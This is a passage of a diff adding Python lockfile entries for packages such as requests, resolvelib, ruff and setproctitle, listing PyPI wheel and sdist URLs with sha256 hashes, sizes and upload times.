"sha256:5ef19071f4ac9f0834793af85bd04a920b4407715624e40cb7a0631a11137cdf", size = 284386, upload-time = "2026-01-14T23:17:21.231Z" }, + { url = "https://files.pythonhosted.org/packages/95/e4/a3b9480c78cf8ee86626cb06f8d931d74d775897d44201ccb813097ae697/regex-2026.1.15-cp314-cp314t-win_arm64.whl", hash = "sha256:ca89c5e596fc05b015f27561b3793dc2fa0917ea0d7507eebb448efd35274a70", size = 274837, upload-time = "2026-01-14T23:17:23.146Z" }, +] + +[[package]] +name = "requests" +version = "2.32.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "charset-normalizer" }, + { name = "idna" }, + { name = "urllib3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c9/74/b3ff8e6c8446842c3f5c837e9c3dfcfe2018ea6ecef224c710c85ef728f4/requests-2.32.5.tar.gz", hash = "sha256:dbba0bac56e100853db0ea71b82b4dfd5fe2bf6d3754a8893c3af500cec7d7cf", size = 134517, upload-time = "2025-08-18T20:46:02.573Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1e/db/4254e3eabe8020b458f1a747140d32277ec7a271daf1d235b70dc0b4e6e3/requests-2.32.5-py3-none-any.whl", hash = "sha256:2462f94637a34fd532264295e186976db0f5d453d1cdd31473c85a6a161affb6", size = 64738, upload-time = "2025-08-18T20:46:00.542Z" }, +] + +[[package]] +name = "requests-file" +version = "3.0.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "requests" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/3c/f8/5dc70102e4d337063452c82e1f0d95e39abfe67aa222ed8a5ddeb9df8de8/requests_file-3.0.1.tar.gz", hash = "sha256:f14243d7796c588f3521bd423c5dea2ee4cc730e54a3cac9574d78aca1272576", size = 6967, upload-time = "2025-10-20T18:56:42.279Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e1/d5/de8f089119205a09da657ed4784c584ede8381a0ce6821212a6d4ca47054/requests_file-3.0.1-py2.py3-none-any.whl", hash = "sha256:d0f5eb94353986d998f80ac63c7f146a307728be051d4d1cd390dbdb59c10fa2", size = 4514, upload-time = "2025-10-20T18:56:41.184Z" }, +] + +[[package]] +name = "resolvelib" +version = "1.0.1" +source = { registry = "https://pypi.org/simple" } +resolution-markers = [ + "python_full_version < '3.11'", +] +sdist = { url = "https://files.pythonhosted.org/packages/ce/10/f699366ce577423cbc3df3280063099054c23df70856465080798c6ebad6/resolvelib-1.0.1.tar.gz", hash = "sha256:04ce76cbd63fded2078ce224785da6ecd42b9564b1390793f64ddecbe997b309", size = 21065, upload-time = "2023-03-09T05:10:38.292Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d2/fc/e9ccf0521607bcd244aa0b3fbd574f71b65e9ce6a112c83af988bbbe2e23/resolvelib-1.0.1-py2.py3-none-any.whl", hash = "sha256:d2da45d1a8dfee81bdd591647783e340ef3bcb104b54c383f70d422ef5cc7dbf", size = 17194, upload-time = "2023-03-09T05:10:36.214Z" }, +] + +[[package]] +name = "resolvelib" +version = "1.2.1" +source = { registry = "https://pypi.org/simple" } +resolution-markers = [ + "python_full_version >= '3.12'", + "python_full_version == '3.11.*'", +] +sdist = { url = "https://files.pythonhosted.org/packages/1d/14/4669927e06631070edb968c78fdb6ce8992e27c9ab2cde4b3993e22ac7af/resolvelib-1.2.1.tar.gz", hash = "sha256:7d08a2022f6e16ce405d60b68c390f054efcfd0477d4b9bd019cc941c28fad1c", size = 24575, upload-time = "2025-10-11T01:07:44.582Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e2/23/c941a0d0353681ca138489983c4309e0f5095dfd902e1357004f2357ddf2/resolvelib-1.2.1-py3-none-any.whl", hash = "sha256:fb06b66c8da04172d9e72a21d7d06186d8919e32ae5ab5cdf5b9d920be805ac2", size = 18737, upload-time = "2025-10-11T01:07:43.081Z" }, +] + +[[package]] +name = "ruff" +version = "0.15.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/06/04/eab13a954e763b0606f460443fcbf6bb5a0faf06890ea3754ff16523dce5/ruff-0.15.2.tar.gz", hash = "sha256:14b965afee0969e68bb871eba625343b8673375f457af4abe98553e8bbb98342", size = 4558148, upload-time = "2026-02-19T22:32:20.271Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2f/70/3a4dc6d09b13cb3e695f28307e5d889b2e1a66b7af9c5e257e796695b0e6/ruff-0.15.2-py3-none-linux_armv6l.whl", hash = "sha256:120691a6fdae2f16d65435648160f5b81a9625288f75544dc40637436b5d3c0d", size = 10430565, upload-time = "2026-02-19T22:32:41.824Z" }, + { url = "https://files.pythonhosted.org/packages/71/0b/bb8457b56185ece1305c666dc895832946d24055be90692381c31d57466d/ruff-0.15.2-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:a89056d831256099658b6bba4037ac6dd06f49d194199215befe2bb10457ea5e", size = 10820354, upload-time = "2026-02-19T22:32:07.366Z" }, + { url = "https://files.pythonhosted.org/packages/2d/c1/e0532d7f9c9e0b14c46f61b14afd563298b8b83f337b6789ddd987e46121/ruff-0.15.2-py3-none-macosx_11_0_arm64.whl", hash = "sha256:e36dee3a64be0ebd23c86ffa3aa3fd3ac9a712ff295e192243f814a830b6bd87", size = 10170767, upload-time = "2026-02-19T22:32:13.188Z" }, + { url = "https://files.pythonhosted.org/packages/47/e8/da1aa341d3af017a21c7a62fb5ec31d4e7ad0a93ab80e3a508316efbcb23/ruff-0.15.2-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a9fb47b6d9764677f8c0a193c0943ce9a05d6763523f132325af8a858eadc2b9", size = 10529591, upload-time = "2026-02-19T22:32:02.547Z" }, + { url = "https://files.pythonhosted.org/packages/93/74/184fbf38e9f3510231fbc5e437e808f0b48c42d1df9434b208821efcd8d6/ruff-0.15.2-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f376990f9d0d6442ea9014b19621d8f2aaf2b8e39fdbfc79220b7f0c596c9b80", size = 10260771, upload-time = "2026-02-19T22:32:36.938Z" }, + { url = "https://files.pythonhosted.org/packages/05/ac/605c20b8e059a0bc4b42360414baa4892ff278cec1c91fff4be0dceedefd/ruff-0.15.2-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2dcc987551952d73cbf5c88d9fdee815618d497e4df86cd4c4824cc59d5dd75f", size = 11045791, upload-time = "2026-02-19T22:32:31.642Z" }, + { url = "https://files.pythonhosted.org/packages/fd/52/db6e419908f45a894924d410ac77d64bdd98ff86901d833364251bd08e22/ruff-0.15.2-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:42a47fd785cbe8c01b9ff45031af875d101b040ad8f4de7bbb716487c74c9a77", size = 11879271, upload-time = "2026-02-19T22:32:29.305Z" }, + { url = "https://files.pythonhosted.org/packages/3e/d8/7992b18f2008bdc9231d0f10b16df7dda964dbf639e2b8b4c1b4e91b83af/ruff-0.15.2-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cbe9f49354866e575b4c6943856989f966421870e85cd2ac94dccb0a9dcb2fea", size = 11303707, upload-time = "2026-02-19T22:32:22.492Z" }, + { url = "https://files.pythonhosted.org/packages/d7/02/849b46184bcfdd4b64cde61752cc9a146c54759ed036edd11857e9b8443b/ruff-0.15.2-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b7a672c82b5f9887576087d97be5ce439f04bbaf548ee987b92d3a7dede41d3a", size = 11149151, upload-time = "2026-02-19T22:32:44.234Z" }, + { url = "https://files.pythonhosted.org/packages/70/04/f5284e388bab60d1d3b99614a5a9aeb03e0f333847e2429bebd2aaa1feec/ruff-0.15.2-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:72ecc64f46f7019e2bcc3cdc05d4a7da958b629a5ab7033195e11a438403d956", size = 11091132, upload-time = "2026-02-19T22:32:24.691Z" }, + { url = "https://files.pythonhosted.org/packages/fa/ae/88d844a21110e14d92cf73d57363fab59b727ebeabe78009b9ccb23500af/ruff-0.15.2-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:8dcf243b15b561c655c1ef2f2b0050e5d50db37fe90115507f6ff37d865dc8b4", size = 10504717, upload-time = "2026-02-19T22:32:26.75Z" }, + { url = "https://files.pythonhosted.org/packages/64/27/867076a6ada7f2b9c8292884ab44d08fd2ba71bd2b5364d4136f3cd537e1/ruff-0.15.2-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:dab6941c862c05739774677c6273166d2510d254dac0695c0e3f5efa1b5585de", size = 10263122, upload-time = "2026-02-19T22:32:10.036Z" }, + { url = "https://files.pythonhosted.org/packages/e7/ef/faf9321d550f8ebf0c6373696e70d1758e20ccdc3951ad7af00c0956be7c/ruff-0.15.2-py3-none-musllinux_1_2_i686.whl", hash = "sha256:1b9164f57fc36058e9a6806eb92af185b0697c9fe4c7c52caa431c6554521e5c", size = 10735295, upload-time = "2026-02-19T22:32:39.227Z" }, + { url = "https://files.pythonhosted.org/packages/2f/55/e8089fec62e050ba84d71b70e7834b97709ca9b7aba10c1a0b196e493f97/ruff-0.15.2-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:80d24fcae24d42659db7e335b9e1531697a7102c19185b8dc4a028b952865fd8", size = 11241641, upload-time = "2026-02-19T22:32:34.617Z" }, + { url = "https://files.pythonhosted.org/packages/23/01/1c30526460f4d23222d0fabd5888868262fd0e2b71a00570ca26483cd993/ruff-0.15.2-py3-none-win32.whl", hash = "sha256:fd5ff9e5f519a7e1bd99cbe8daa324010a74f5e2ebc97c6242c08f26f3714f6f", size = 10507885, upload-time = "2026-02-19T22:32:15.635Z" }, + { url = "https://files.pythonhosted.org/packages/5c/10/3d18e3bbdf8fc50bbb4ac3cc45970aa5a9753c5cb51bf9ed9a3cd8b79fa3/ruff-0.15.2-py3-none-win_amd64.whl", hash = "sha256:d20014e3dfa400f3ff84830dfb5755ece2de45ab62ecea4af6b7262d0fb4f7c5", size = 11623725, upload-time = "2026-02-19T22:32:04.947Z" }, + { url = "https://files.pythonhosted.org/packages/6d/78/097c0798b1dab9f8affe73da9642bb4500e098cb27fd8dc9724816ac747b/ruff-0.15.2-py3-none-win_arm64.whl", hash = "sha256:cabddc5822acdc8f7b5527b36ceac55cc51eec7b1946e60181de8fe83ca8876e", size = 10941649, upload-time = "2026-02-19T22:32:18.108Z" }, +] + +[[package]] +name = "setproctitle" +version = "1.3.7" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/8d/48/49393a96a2eef1ab418b17475fb92b8fcfad83d099e678751b05472e69de/setproctitle-1.3.7.tar.gz", hash = "sha256:bc2bc917691c1537d5b9bca1468437176809c7e11e5694ca79a9ca12345dcb9e", size = 27002, upload-time = "2025-09-05T12:51:25.278Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f2/48/fb401ec8c4953d519d05c87feca816ad668b8258448ff60579ac7a1c1386/setproctitle-1.3.7-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cf555b6299f10a6eb44e4f96d2f5a3884c70ce25dc5c8796aaa2f7b40e72cb1b", size = 18079, upload-time = "2025-09-05T12:49:07.732Z" }, + { url = "https://files.pythonhosted.org/packages/cc/a3/c2b0333c2716fb3b4c9a973dd113366ac51b4f8d56b500f4f8f704b4817a/setproctitle-1.3.7-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:690b4776f9c15aaf1023bb07d7c5b797681a17af98a4a69e76a1d504e41108b7", size = 13099, upload-time = "2025-09-05T12:49:09.222Z" }, + { url = "https://files.pythonhosted.org/packages/0e/f8/17bda581c517678260e6541b600eeb67745f53596dc077174141ba2f6702/setproctitle-1.3.7-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:00afa6fc507967d8c9d592a887cdc6c1f5742ceac6a4354d111ca0214847732c", size = 31793, upload-time = "2025-09-05T12:49:10.297Z" }, + { url = "https://files.pythonhosted.org/packages/27/d1/76a33ae80d4e788ecab9eb9b53db03e81cfc95367ec7e3fbf4989962fedd/setproctitle-1.3.7-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9e02667f6b9fc1238ba753c0f4b0a37ae184ce8f3bbbc38e115d99646b3f4cd3", size = 32779, upload-time = "2025-09-05T12:49:12.157Z" }, + { url = "https://files.pythonhosted.org/packages/59/27/1a07c38121967061564f5e0884414a5ab11a783260450172d4fc68c15621/setproctitle-1.3.7-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:83fcd271567d133eb9532d3b067c8a75be175b2b3b271e2812921a05303a693f", size = 34578, upload-time = "2025-09-05T12:49:13.393Z" }, + { url = "https://files.pythonhosted.org/packages/d8/d4/725e6353935962d8bb12cbf7e7abba1d0d738c7f6935f90239d8e1ccf913/setproctitle-1.3.7-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:13fe37951dda1a45c35d77d06e3da5d90e4f875c4918a7312b3b4556cfa7ff64", size = 32030, upload-time = "2025-09-05T12:49:15.362Z" }, + { url = "https://files.pythonhosted.org/packages/67/24/e4677ae8e1cb0d549ab558b12db10c175a889be0974c589c428fece5433e/setproctitle-1.3.7-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:a05509cfb2059e5d2ddff701d38e474169e9ce2a298cf1b6fd5f3a213a553fe5", size = 33363, upload-time = "2025-09-05T12:49:16.829Z" }, + { url = "https://files.pythonhosted.org/packages/55/d4/69ce66e4373a48fdbb37489f3ded476bb393e27f514968c3a69a67343ae0/setproctitle-1.3.7-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:6da835e76ae18574859224a75db6e15c4c2aaa66d300a57efeaa4c97ca4c7381", size = 31508, upload-time = "2025-09-05T12:49:18.032Z" }, + { url = "https://files.pythonhosted.org/packages/4b/5a/42c1ed0e9665d068146a68326529b5686a1881c8b9197c2664db4baf6aeb/setproctitle-1.3.7-cp310-cp310-win32.whl", hash = "sha256:9e803d1b1e20240a93bac0bc1025363f7f80cb7eab67dfe21efc0686cc59ad7c", size = 12558, upload-time = "2025-09-05T12:49:19.742Z" }, + { url = "https://files.pythonhosted.org/packages/dc/fe/dd206cc19a25561921456f6cb12b405635319299b6f366e0bebe872abc18/setproctitle-1.3.7-cp310-cp310-win_amd64.whl", hash = "sha256:a97200acc6b64ec4cada52c2ecaf1fba1ef9429ce9c542f8a7db5bcaa9dcbd95", size = 13245, upload-time = "2025-09-05T12:49:21.023Z" }, + { url = "https://files.pythonhosted.org/packages/04/cd/1b7ba5cad635510720ce19d7122154df96a2387d2a74217be552887c93e5/setproctitle-1.3.7-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:a600eeb4145fb0ee6c287cb82a2884bd4ec5bbb076921e287039dcc7b7cc6dd0", size = 18085, upload-time = "2025-09-05T12:49:22.183Z" }, + { url = "https://files.pythonhosted.org/packages/8f/1a/b2da0a620490aae355f9d72072ac13e901a9fec809a6a24fc6493a8f3c35/setproctitle-1.3.7-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:97a090fed480471bb175689859532709e28c085087e344bca45cf318034f70c4", size = 13097, upload-time = "2025-09-05T12:49:23.322Z" }, + { url = "https://files.pythonhosted.org/packages/18/2e/bd03ff02432a181c1787f6fc2a678f53b7dacdd5ded69c318fe1619556e8/setproctitle-1.3.7-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1607b963e7b53e24ec8a2cb4e0ab3ae591d7c6bf0a160feef0551da63452b37f", size = 32191, upload-time = "2025-09-05T12:49:24.567Z" }, + { url = "https://files.pythonhosted.org/packages/28/78/1e62fc0937a8549f2220445ed2175daacee9b6764c7963b16148119b016d/setproctitle-1.3.7-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a20fb1a3974e2dab857870cf874b325b8705605cb7e7e8bcbb915bca896f52a9", size = 33203, upload-time = "2025-09-05T12:49:25.871Z" }, + { url = "https://files.pythonhosted.org/packages/a0/3c/65edc65db3fa3df400cf13b05e9d41a3c77517b4839ce873aa6b4043184f/setproctitle-1.3.7-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f8d961bba676e07d77665204f36cffaa260f526e7b32d07ab3df6a2c1dfb44ba", size = 34963, upload-time = "2025-09-05T12:49:27.044Z" }, + { url = "https://files.pythonhosted.org/packages/a1/32/89157e3de997973e306e44152522385f428e16f92f3cf113461489e1e2ee/setproctitle-1.3.7-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:db0fd964fbd3a9f8999b502f65bd2e20883fdb5b1fae3a424e66db9a793ed307", size = 32398, upload-time = "2025-09-05T12:49:28.909Z" }, + { url = "https://files.pythonhosted.org/packages/4a/18/77a765a339ddf046844cb4513353d8e9dcd8183da9cdba6e078713e6b0b2/setproctitle-1.3.7-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:db116850fcf7cca19492030f8d3b4b6e231278e8fe097a043957d22ce1bdf3ee", size = 33657, upload-time = "2025-09-05T12:49:30.323Z" }, + { url = "https://files.pythonhosted.org/packages/6b/63/f0b6205c64d74d2a24a58644a38ec77bdbaa6afc13747e75973bf8904932/setproctitle-1.3.7-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:316664d8b24a5c91ee244460bdaf7a74a707adaa9e14fbe0dc0a53168bb9aba1", size = 31836, upload-time = "2025-09-05T12:49:32.309Z" }, + { url = "https://files.pythonhosted.org/packages/ba/51/e1277f9ba302f1a250bbd3eedbbee747a244b3cc682eb58fb9733968f6d8/setproctitle-1.3.7-cp311-cp311-win32.whl", hash = "sha256:b74774ca471c86c09b9d5037c8451fff06bb82cd320d26ae5a01c758088c0d5d", size = 12556, upload-time = "2025-09-05T12:49:33.529Z" }, + { url = "https://files.pythonhosted.org/packages/b6/7b/822a23f17e9003dfdee92cd72758441ca2a3680388da813a371b716fb07f/setproctitle-1.3.7-cp311-cp311-win_amd64.whl", hash = "sha256:acb9097213a8dd3410ed9f0dc147840e45ca9797785272928d4be3f0e69e3be4", size = 13243, upload-time = "2025-09-05T12:49:34.553Z" }, + { url = "https://files.pythonhosted.org/packages/fb/f0/2dc88e842077719d7384d86cc47403e5102810492b33680e7dadcee64cd8/setproctitle-1.3.7-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:2dc99aec591ab6126e636b11035a70991bc1ab7a261da428491a40b84376654e", size = 18049, upload-time = "2025-09-05T12:49:36.241Z" }, + { url = "https://files.pythonhosted.org/packages/f0/b4/50940504466689cda65680c9e9a1e518e5750c10490639fa687489ac7013/setproctitle-1.3.7-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:cdd8aa571b7aa39840fdbea620e308a19691ff595c3a10231e9ee830339dd798", size = 13079, upload-time = "2025-09-05T12:49:38.088Z" }, + { url = "https://files.pythonhosted.org/packages/d0/99/71630546b9395b095f4082be41165d1078204d1696c2d9baade3de3202d0/setproctitle-1.3.7-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:2906b6c7959cdb75f46159bf0acd8cc9906cf1361c9e1ded0d065fe8f9039629", size = 32932, upload-time = "2025-09-05T12:49:39.271Z" }, + { url = "https://files.pythonhosted.org/packages/50/22/cee06af4ffcfb0e8aba047bd44f5262e644199ae7527ae2c1f672b86495c/setproctitle-1.3.7-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6915964a6dda07920a1159321dcd6d94fc7fc526f815ca08a8063aeca3c204f1", size = 33736, upload-time = "2025-09-05T12:49:40.565Z" }, + { url = "https://files.pythonhosted.org/packages/5c/00/a5949a8bb06ef5e7df214fc393bb2fb6aedf0479b17214e57750dfdd0f24/setproctitle-1.3.7-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cff72899861c765bd4021d1ff1c68d60edc129711a2fdba77f9cb69ef726a8b6", size = 35605, upload-time = "2025-09-05T12:49:42.362Z" }, + { url = "https://files.pythonhosted.org/packages/b0/3a/50caca532a9343828e3bf5778c7a84d6c737a249b1796d50dd680290594d/setproctitle-1.3.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b7cb05bd446687ff816a3aaaf831047fc4c364feff7ada94a66024f1367b448c", size = 33143, upload-time = "2025-09-05T12:49:43.515Z" }, + { url = "https://files.pythonhosted.org/packages/ca/14/b843a251296ce55e2e17c017d6b9f11ce0d3d070e9265de4ecad948b913d/setproctitle-1.3.7-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:3a57b9a00de8cae7e2a1f7b9f0c2ac7b69372159e16a7708aa2f38f9e5cc987a", size = 34434, upload-time = "2025-09-05T12:49:45.31Z" }, + { url = "https://files.pythonhosted.org/packages/c8/b7/06145c238c0a6d2c4bc881f8be230bb9f36d2bf51aff7bddcb796d5eed67/setproctitle-1.3.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:d8828b356114f6b308b04afe398ed93803d7fca4a955dd3abe84430e28d33739", size = 32795, upload-time = "2025-09-05T12:49:46.419Z" }, + { url = "https://files.pythonhosted.org/packages/ef/dc/ef76a81fac9bf27b84ed23df19c1f67391a753eed6e3c2254ebcb5133f56/setproctitle-1.3.7-cp312-cp312-win32.whl", hash = "sha256:b0304f905efc845829ac2bc791ddebb976db2885f6171f4a3de678d7ee3f7c9f", size = 12552, upload-time = "2025-09-05T12:49:47.635Z" }, + { url = "https://files.pythonhosted.org/packages/e2/5b/a9fe517912cd6e28cf43a212b80cb679ff179a91b623138a99796d7d18a0/setproctitle-1.3.7-cp312-cp312-win_amd64.whl", hash = "sha256:9888ceb4faea3116cf02a920ff00bfbc8cc899743e4b4ac914b03625bdc3c300", size = 13247, upload-time = "2025-09-05T12:49:49.16Z" }, + { url = "https://files.pythonhosted.org/packages/5d/2f/fcedcade3b307a391b6e17c774c6261a7166aed641aee00ed2aad96c63ce/setproctitle-1.3.7-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:c3736b2a423146b5e62230502e47e08e68282ff3b69bcfe08a322bee73407922", size = 18047, upload-time = "2025-09-05T12:49:50.271Z" }, + { url = "https://files.pythonhosted.org/packages/23/ae/afc141ca9631350d0a80b8f287aac79a76f26b6af28fd8bf92dae70dc2c5/setproctitle-1.3.7-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:3384e682b158d569e85a51cfbde2afd1ab57ecf93ea6651fe198d0ba451196ee", size = 13073, upload-time = "2025-09-05T12:49:51.46Z" }, + { url = "https://files.pythonhosted.org/packages/87/ed/0a4f00315bc02510395b95eec3d4aa77c07192ee79f0baae77ea7b9603d8/setproctitle-1.3.7-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0564a936ea687cd24dffcea35903e2a20962aa6ac20e61dd3a207652401492dd", size = 33284, upload-time = "2025-09-05T12:49:52.741Z" }, + { url = "https://files.pythonhosted.org/packages/fc/e4/adf3c4c0a2173cb7920dc9df710bcc67e9bcdbf377e243b7a962dc31a51a/setproctitle-1.3.7-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a5d1cb3f81531f0eb40e13246b679a1bdb58762b170303463cb06ecc296f26d0", size = 34104, upload-time = "2025-09-05T12:49:54.416Z" }, + { url = "https://files.pythonhosted.org/packages/52/4f/6daf66394152756664257180439d37047aa9a1cfaa5e4f5ed35e93d1dc06/setproctitle-1.3.7-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a7d159e7345f343b44330cbba9194169b8590cb13dae940da47aa36a72aa9929", size = 35982, upload-time = "2025-09-05T12:49:56.295Z" }, + { url = "https://files.pythonhosted.org/packages/1b/62/f2c0595403cf915db031f346b0e3b2c0096050e90e0be658a64f44f4278a/setproctitle-1.3.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0b5074649797fd07c72ca1f6bff0406f4a42e1194faac03ecaab765ce605866f", size = 33150, upload-time = "2025-09-05T12:49:58.025Z" }, + { url = "https://files.pythonhosted.org/packages/a0/29/10dd41cde849fb2f9b626c846b7ea30c99c81a18a5037a45cc4ba33c19a7/setproctitle-1.3.7-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:61e96febced3f61b766115381d97a21a6265a0f29188a791f6df7ed777aef698", size = 34463, upload-time = "2025-09-05T12:49:59.424Z" }, + { url = "https://files.pythonhosted.org/packages/71/3c/cedd8eccfaf15fb73a2c20525b68c9477518917c9437737fa0fda91e378f/setproctitle-1.3.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:047138279f9463f06b858e579cc79580fbf7a04554d24e6bddf8fe5dddbe3d4c", size = 32848, upload-time = "2025-09-05T12:50:01.107Z" }, + { url = "https://files.pythonhosted.org/packages/d1/3e/0a0e27d1c9926fecccfd1f91796c244416c70bf6bca448d988638faea81d/setproctitle-1.3.7-cp313-cp313-win32.whl", hash = "sha256:7f47accafac7fe6535ba8ba9efd59df9d84a6214565108d0ebb1199119c9cbbd", size = 12544, upload-time = "2025-09-05T12:50:15.81Z" }, + { url = "https://files.pythonhosted.org/packages/36/1b/6bf4cb7acbbd5c846ede1c3f4d6b4ee52744d402e43546826da065ff2ab7/setproctitle-1.3.7-cp313-cp313-win_amd64.whl", hash = "sha256:fe5ca35aeec6dc50cabab9bf2d12fbc9067eede7ff4fe92b8f5b99d92e21263f", size = 13235, upload-time = "2025-09-05T12:50:16.89Z" }, + { url = "https://files.pythonhosted.org/packages/e6/a4/d588d3497d4714750e3eaf269e9e8985449203d82b16b933c39bd3fc52a1/setproctitle-1.3.7-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:10e92915c4b3086b1586933a36faf4f92f903c5554f3c34102d18c7d3f5378e9", size = 18058, upload-time = "2025-09-05T12:50:02.501Z" }, + { url = "https://files.pythonhosted.org/packages/05/77/7637f7682322a7244e07c373881c7e982567e2cb1dd2f31bd31481e45500/setproctitle-1.3.7-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:de879e9c2eab637f34b1a14c4da1e030c12658cdc69ee1b3e5be81b380163ce5", size = 13072, upload-time = "2025-09-05T12:50:03.601Z" }, + { url = "https://files.pythonhosted.org/packages/52/09/f366eca0973cfbac1470068d1313fa3fe3de4a594683385204ec7f1c4101/setproctitle-1.3.7-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:c18246d88e227a5b16248687514f95642505000442165f4b7db354d39d0e4c29", size = 34490, upload-time = "2025-09-05T12:50:04.948Z" }, + { url = "https://files.pythonhosted.org/packages/71/36/611fc2ed149fdea17c3677e1d0df30d8186eef9562acc248682b91312706/setproctitle-1.3.7-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7081f193dab22df2c36f9fc6d113f3793f83c27891af8fe30c64d89d9a37e152", size = 35267, upload-time = "2025-09-05T12:50:06.015Z" }, + { url = "https://files.pythonhosted.org/packages/88/a4/64e77d0671446bd5a5554387b69e1efd915274686844bea733714c828813/setproctitle-1.3.7-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9cc9b901ce129350637426a89cfd650066a4adc6899e47822e2478a74023ff7c", size = 37376, upload-time = "2025-09-05T12:50:07.484Z" }, + { url = "https://files.pythonhosted.org/packages/89/bc/ad9c664fe524fb4a4b2d3663661a5c63453ce851736171e454fa2cdec35c/setproctitle-1.3.7-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:80e177eff2d1ec172188d0d7fd9694f8e43d3aab76a6f5f929bee7bf7894e98b", size = 33963, upload-time = "2025-09-05T12:50:09.056Z" }, + { url = "https://files.pythonhosted.org/packages/ab/01/a36de7caf2d90c4c28678da1466b47495cbbad43badb4e982d8db8167ed4/setproctitle-1.3.7-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:23e520776c445478a67ee71b2a3c1ffdafbe1f9f677239e03d7e2cc635954e18", size = 35550, upload-time = "2025-09-05T12:50:10.791Z" }, + { url = "https://files.pythonhosted.org/packages/dd/68/17e8aea0ed5ebc17fbf03ed2562bfab277c280e3625850c38d92a7b5fcd9/setproctitle-1.3.7-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:5fa1953126a3b9bd47049d58c51b9dac72e78ed120459bd3aceb1bacee72357c", size = 33727, upload-time = "2025-09-05T12:50:12.032Z" }, + { url = "https://files.pythonhosted.org/packages/b2/33/90a3bf43fe3a2242b4618aa799c672270250b5780667898f30663fd94993/setproctitle-1.3.7-cp313-cp313t-win32.whl", hash = "sha256:4a5e212bf438a4dbeece763f4962ad472c6008ff6702e230b4f16a037e2f6f29", size = 12549, upload-time = "2025-09-05T12:50:13.074Z" }, + { url = "https://files.pythonhosted.org/packages/0b/0e/50d1f07f3032e1f23d814ad6462bc0a138f369967c72494286b8a5228e40/setproctitle-1.3.7-cp313-cp313t-win_amd64.whl", hash = "sha256:cf2727b733e90b4f874bac53e3092aa0413fe1ea6d4f153f01207e6ce65034d9", size = 